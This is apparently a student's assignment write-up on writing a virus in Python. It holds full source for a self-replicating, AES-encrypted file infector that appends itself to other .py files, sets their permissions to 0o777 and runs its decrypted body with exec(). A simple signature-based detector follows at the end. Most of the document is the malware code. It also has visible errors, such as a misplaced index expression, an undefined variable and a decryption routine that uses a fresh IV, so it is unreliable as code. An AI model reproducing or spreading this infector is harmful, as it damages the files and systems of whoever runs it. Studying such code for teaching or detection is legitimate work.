**Assignment #2 – WRITING A VIRUS**

# Implementation:

I have decided to write the assignment using the Python language. The virus is divided in two principal parts:

* virus decryption routine: it is not encrypted and it has to decrypt the encrypted virus program body and execute it;
* encrypted virus program body: it is encrypted (using the first line of the virus as the encryption key) and contains the infection and payload phases.

When the encrypted virus program body is decrypted and executed, it will do the following operations:

* Search for potentially infectable file: the virus program body searches for others Python scripts into the current directory;
* Check if the Python file is already infected: if so, skip the file and try with another one in order to prevent the over infection;
* Infect the file: the main body of the virus appends, to the target, its own code composed, as the original virus, with the virus decryption routine and the encrypted virus program body, using the first line of the target as encryption key.

# Code:

| ##starts virus code from here def is\_infected(filename):  f = open(filename, 'r')  lines = f.readlines()  return lines[len(lines - 1)].startswith("# ####### Magic Works Done by Shashadhar Das!")   def copy\_code(filename):  os.rename(filename, filename + '-copy')  destination = open(filename, 'w')  os.chmod(filename, 0o777)  source = open(filename + '-copy', 'r')  this = open(\_\_main\_\_.\_\_file\_\_, 'r')   # Append the original file  for line in source:  destination.write(line)   destination.write("\n# ### Decryption Layer Starts\n")  destination.write("# coding=utf-8\n")  destination.write("# Start Unencrypted\n")   copy = False  result = ''  for line in this:  if line.strip() == '# Start Unencrypted':  copy = True  elif line.strip() == '# End Unencrypted':  destination.write('# End Unencrypted')  copy = False  elif copy:  destination.write(line)   destination.write("\n# Start payload\n")  destination.write("#")  destination.write(str(encrypt(e, filename)))  destination.write("\n# End payload")  destination.write("\n# ####### Magic Works Done by Shashadhar Das!")   os.remove(filename + '-copy')  source.close()  destination.close()  this.close()   # Gets the target def select\_target():  targetFileName = ''  path = '.'  dirs = os.listdir(path)   # For each file try to infect it  for filename in dirs:  if filename.endswith('.py') and (not is\_infected(filename)):  print("Infected " + str(filename))  return filename  return targetFileName   def infect():  targetFilename = select\_target();  if len(targetFilename):  copy\_code(targetFilename)  else:  payload()   def encrypt(data, filename):  source = open(filename + '-copy', 'r')  key = source.read(16).encode()[:16]  iv = Random.new().read(AES.block\_size)   # Create the cipher object and encrypt the data  cipher\_encrypt = AES.new(key, AES.MODE\_CFB, iv)  ciphered\_bytes = cipher\_encrypt.encrypt(data)   # iv = cipher\_encrypt.iv  ciphered\_data = iv + ciphered\_bytes  basecoded = base64.b64encode(ciphered\_data)  valueToDecrupt = str(basecoded, 'utf-8')  return valueToDecrupt |
| --- |

# 

# Decryption Layer:

| # ### Decryption Layer Starts  # coding=utf-8 # Start Unencrypted import os import \_\_main\_\_ import base64 import sys import io from Crypto import Random from Crypto.Cipher import AES   # Decryption function def decrypt(data):  this = open(\_\_main\_\_.\_\_file\_\_, 'r')  key = this.read(16).encode()[:16]  iv = Random.new().read(AES.block\_size)  data = data.encode('utf-8')[1:]   # base 64 decode  data = base64.b64decode(data)  cipher\_decrypt = AES.new(key, AES.MODE\_CFB, iv=iv)   deciphered\_bytes = cipher\_decrypt.decrypt(data)   # Convert the bytes object back to the string  decrypted\_data = deciphered\_bytes[16:].decode('utf-8')  this.close()  return decrypted\_data     # Gets the virus file this = open(\_\_main\_\_.\_\_file\_\_, 'r') copy = False  cipher\_payload = ''  for line in this:  if line.strip() == '# Start payload':  copy = True  elif line.strip() == '# End payload':  copy = False  elif copy:  cipher\_payload = cipher\_payload + line  e = decrypt(cipher\_payload[1:]) # print e exec(e) sys.exit('We are done!') # End Unencrypted # Start payload #Encrypted payload here # End payload # ####### Magic Works Done by Shashadhar Das! |
| --- |

# 

# 

# 

# Detecting the virus:

For Detecting the virus , I have searched the files with .py extension and checked the signature of my virus. If the signature is present , I have printed the message “Virus Detected”.

| import os  def is\_infected(filename):  f = open(filename, 'r')  lines = f.readlines()  return lines[len(lines - 1)].startswith("# ####### Magic Works Done by Shashadhar Das!")  # Gets the target def check\_target():  path = '.'  dirs = os.listdir(path)   # For each file try to infect it  for filename in dirs:  if filename.endswith('.py') and (is\_infected(filename)):  print("Virus detected" + str(filename))   check\_target() |
| --- |